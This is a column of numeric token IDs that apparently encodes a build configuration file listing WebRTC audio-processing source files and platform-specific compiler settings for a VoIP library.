29918,
22633,
29914,
23579,
29918,
3676,
29918,
14939,
29914,
23579,
29918,
3676,
29918,
14939,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
22585,
29918,
22633,
29914,
600,
29873,
29946,
29887,
29914,
600,
29873,
29946,
29887,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
22585,
29918,
22633,
29914,
600,
29873,
29946,
29887,
29914,
600,
29873,
29946,
29887,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
18494,
29918,
535,
13549,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
6370,
29918,
29888,
283,
4336,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
12719,
29918,
9040,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
6370,
29918,
29888,
283,
4336,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29879,
5510,
29918,
28034,
29918,
4572,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
3844,
29877,
6046,
29918,
4572,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
28034,
29918,
4572,
29918,
29883,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
5393,
29918,
9040,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
28034,
29918,
4572,
29918,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19676,
29918,
600,
29873,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19676,
29918,
600,
29873,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
4572,
29918,
655,
29918,
11255,
29918,
29939,
29896,
29906,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
2608,
26803,
29918,
29881,
332,
2109,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
6333,
29918,
4704,
29918,
2541,
29918,
7052,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
6921,
29918,
29725,
29918,
517,
29918,
999,
29880,
29918,
1111,
1389,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29918,
1609,
29918,
29906,
29918,
7564,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
27548,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
3676,
29918,
974,
29918,
650,
29918,
12254,
29918,
29916,
29918,
26613,
1965,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
3204,
11249,
29918,
11255,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
23579,
5367,
29918,
4572,
29896,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
4572,
29918,
279,
29918,
11255,
29918,
29939,
29896,
29906,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
23579,
29918,
2344,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
29880,
6739,
29918,
517,
29918,
999,
29880,
29918,
1111,
1389,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19128,
29918,
2616,
23445,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
2856,
29914,
25436,
29918,
19170,
29918,
5258,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
2856,
29914,
6370,
29918,
600,
29873,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
2856,
29914,
23579,
29918,
262,
29880,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
4563,
2459,
29918,
3372,
800,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
6921,
29918,
2616,
23445,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
657,
29918,
19529,
292,
29918,
17619,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
6333,
29918,
4704,
29918,
2541,
29918,
7052,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29918,
1609,
29918,
29906,
29918,
7564,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
1195,
29918,
3317,
29918,
3372,
800,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
999,
29880,
29918,
1111,
1389,
29918,
517,
29918,
29880,
6739,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
4572,
29918,
279,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
8111,
29918,
19529,
292,
29918,
3372,
800,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29918,
29888,
13857,
284,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
6370,
29918,
600,
29873,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
309,
12328,
29918,
14940,
29918,
12171,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19676,
29918,
2966,
29918,
24244,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
8172,
2133,
29918,
12171,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
8552,
29918,
842,
29918,
3372,
800,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29918,
1609,
29918,
29906,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
657,
29918,
29882,
9450,
29918,
7165,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
690,
981,
29918,
29946,
29947,
15339,
29920,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
23579,
29918,
262,
29880,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
23579,
29918,
3676,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29893,
485,
29918,
6672,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
1028,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
705,
1182,
14246,
29918,
29894,
328,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
3221,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
2856,
29914,
29894,
328,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
2856,
29914,
705,
1182,
14246,
29918,
29894,
328,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
29887,
4317,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
4572,
9157,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
3221,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
1028,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
4572,
9157,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
29894,
328,
29914,
29894,
328,
29918,
29887,
4317,
29889,
29883,
742,
29871,
13,
13,
3986,
396,
9033,
29924,
29914,
8186,
1164,
8974,
13,
3986,
396,
14402,
1423,
565,
727,
29915,
29879,
263,
1781,
982,
304,
1207,
1438,
6633,
411,
9033,
29924,
16169,
310,
323,
17600,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29916,
29918,
3221,
29918,
484,
265,
29889,
29883,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29914,
29874,
687,
29918,
3221,
29918,
484,
265,
29889,
617,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29874,
687,
29885,
29914,
29874,
687,
29885,
29918,
3221,
29918,
484,
265,
29889,
617,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
329,
1793,
29914,
29877,
283,
336,
29918,
600,
29873,
29918,
24051,
29918,
484,
265,
29918,
29879,
344,
29906,
29889,
29882,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
329,
1793,
29914,
29877,
283,
336,
29918,
600,
29873,
29918,
484,
265,
29889,
617,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
28034,
29918,
4572,
29918,
484,
265,
29889,
617,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
690,
314,
20069,
29914,
29879,
3742,
29918,
690,
314,
20069,
29918,
484,
265,
29889,
617,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
22585,
29918,
22633,
29914,
23579,
29918,
3676,
29918,
14939,
29914,
23579,
29918,
3676,
29918,
14939,
29918,
2817,
29889,
29903,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
28034,
29918,
4572,
29918,
484,
265,
29889,
29882,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
3204,
11249,
29918,
11255,
29918,
484,
265,
29889,
29883,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19676,
29918,
2966,
29918,
24244,
29918,
2817,
29889,
29903,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
2856,
29914,
23579,
29918,
262,
29880,
29918,
2817,
29894,
29955,
29889,
29882,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
1195,
29918,
3317,
29918,
3372,
800,
29918,
484,
265,
29889,
29883,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
19128,
29918,
2616,
23445,
29918,
484,
265,
29889,
29883,
742,
13,
3986,
396,
29915,
29966,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
9435,
29918,
18494,
29914,
25436,
29918,
19170,
29914,
4572,
29918,
279,
29918,
11255,
29918,
29939,
29896,
29906,
29918,
2817,
29894,
29955,
29889,
29903,
742,
13,
13,
13,
4706,
21251,
13,
4706,
525,
492,
8464,
2396,
19997,
13,
4706,
525,
2917,
332,
800,
2396,
426,
13,
3986,
525,
11862,
2396,
24335,
13,
3986,
525,
19729,
2396,
24335,
13,
4706,
2981,
13,
4706,
525,
1116,
2187,
2396,
518,
13,
3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
2804,
376,
5080,
29908,
742,
426,
13,
795,
525,
29879,
2863,
29914,
2396,
518,
1839,
735,
2325,
742,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
10499,
29914,
2033,
1402,
13,
9651,
2981,
426,
13,
795,
525,
29879,
2863,
29914,
2396,
518,
1839,
735,
2325,
742,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
1066,
861,
29914,
2033,
1402,
13,
9651,
2981,
13,
3986,
21251,
13,
3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
2804,
376,
8628,
29908,
742,
426,
13,
795,
525,
29879,
2863,
29914,
2396,
518,
1839,
735,
2325,
742,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
2033,
1402,
13,
9651,
2981,
13,
3986,
21251,
13,
3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
2804,
376,
9389,
29908,
742,
426,
13,
795,
525,
29879,
2863,
29914,
2396,
518,
1839,
735,
2325,
742,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
9389,
29914,
2033,
1402,
13,
9651,
2981,
13,
3986,
21251,
13,
3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
1275,
376,
8628,
29908,
742,
426,
13,
795,
525,
29916,
401,
29918,
11027,
2396,
426,
13,
18884,
525,
6154,
19453,
29918,
29907,
6247,
29918,
29931,
19453,
29965,
10461,
29918,
1254,
9468,
17011,
2396,
525,
29883,
1817,
29896,
29896,
742,
13,
18884,
525,
1964,
12982,
21554,
29918,
1660,
1718,
3210,
29918,
11889,
29918,
10145,
29903,
2396,
525,
6632,
742,
13,
795,
2981,
13,
795,
525,
1753,
1475,
2396,
518,
13,
18884,
525,
8851,
15176,
9472,
29918,
24815,
6415,
742,
13,
18884,
525,
8851,
15176,
9472,
29918,
1529,
29907,
742,
13,
18884,
525,
29911,
1718,
7194,
29918,
3267,
29918,
3267,
29990,
742,
13,
795,
21251,
13,
795,
525,
29879,
2863,
2396,
518,
13,
18884,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21027,
29918,
8628,
29889,
4317,
742,
13,
18884,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
2273,
29883,
29918,
3188,
29914,
21027,
29918,
8628,
29889,
29882,
742,
13,
795,
21251,
13,
795,
525,
1116,
2187,
2396,
518,
13,
18884,
518,
18793,
29966,
29898,
29877,
7880,
29918,
4282,
29918,
5182,
5513,
1275,
376,
8628,
29941,
29906,
29908,
742,
426,
13,
462,
29871,
525,
29916,
401,
29918,
11027,
2396,
426,
13,
462,
1678,
525,
1529,
3217,
29903,
29990,
29918,
2287,
29925,
3927,
29979,
13780,
29918,
29911,
1718,
7194,
2396,
525,
29896,
29900,
29889,
29953,
742,
13,
462,
1678,
525,
2891,
4448,
29918,
6271,
29931,
3308,
7390,
3308,
18823,
10749,
2396,
518,
17411,
6582,
29881,
3742,
1817,
29915,
21251,
13,
462,
29871,
2981,
13,
462,
29871,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
462,
1678,
8207,
4855,
29914,
2997,
29914,
8628,
1025,
29914,
2856,
29914,
29883,
1817,
29914,
29894,
29896,
742,
13,
462,
1678,
12801,
29898,
2287,
29925,
4690,
6802,
21546,
6995,
29931,
4626,
4314,
29914,
8628,
1025,
29914,
22156,
2536,
29914,
2856,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
1753,
1475,
2396,
518,
13,
462,
1678,
525,
29911,
1718,
7194,
29918,
3267,
29990,
29941,
29906,
742,
13,
462,
29871,
21251,
13,
18884,
2981,
426,
13,
462,
29871,
525,
29916,
401,
29918,
11027,
2396,
426,
13,
462,
1678,
525,
1529,
3217,
29903,
29990,
29918,
2287,
29925,
3927,
29979,
13780,
29918,
29911,
1718,
7194,
2396,
525,
29896,
29900,
29889,
29947,
742,
13,
462,
1678,
525,
6154,
19453,
29918,
29907,
6247,
29918,
5265,
15176,
19926,
2396,
525,
1982,
29883,
1817,
742,
13,
462,
29871,
2981,
13,
462,
29871,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
462,
1678,
12801,
29898,
2287,
29925,
4690,
6802,
21546,
6995,
29931,
4626,
4314,
29914,
22156,
2536,
29914,
2856,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
11851,
29918,
18980,
29918,
11027,
2396,
426,
13,
462,
1678,
525,
2324,
15764,
2396,
518,
13,
462,
418,
17411,
4468,
13987,
12229,
1884,
742,
13,
462,
1678,
21251,
13,
462,
29871,
2981,
13,
462,
29871,
525,
29879,
2863,
2396,
518,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29911,
22928,
15167,
21323,
29889,
4317,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29911,
22928,
15167,
21323,
29889,
29882,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29911,
22928,
15167,
4435,
29889,
4317,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
29911,
22928,
15167,
4435,
29889,
29882,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
15167,
12229,
1884,
8566,
6119,
4435,
29889,
4317,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
15167,
12229,
1884,
8566,
6119,
4435,
29889,
29882,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17708,
7701,
9323,
14420,
21323,
29889,
4317,
742,
13,
462,
259,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
359,
29914,
16702,
5080,
29914,
17708,
7701,
9323,
14420,
21323,
29889,
29882,
742,
13,
462,
29871,
21251,
13,
18884,
500,
1402,
13,
18884,
6024,
29908,
29966,
29898,
29877,
7880,
29918,
4282,
29918,
5182,
5513,
1275,
376,
8628,
8899,
29908,
742,
426,
13,
462,
525,
1753,
1475,
2396,
518,
13,
462,
29871,
525,
29911,
22928,
29949,
5690,
29918,
6632,
29918,
3267,
29990,
29918,
29829,
29963,
3040,
29918,
8787,
742,
13,
462,
21251,
13,
18884,
500,
1402,
13,
795,
21251,
13,
9651,
2981,
13,
3986,
21251,
13,
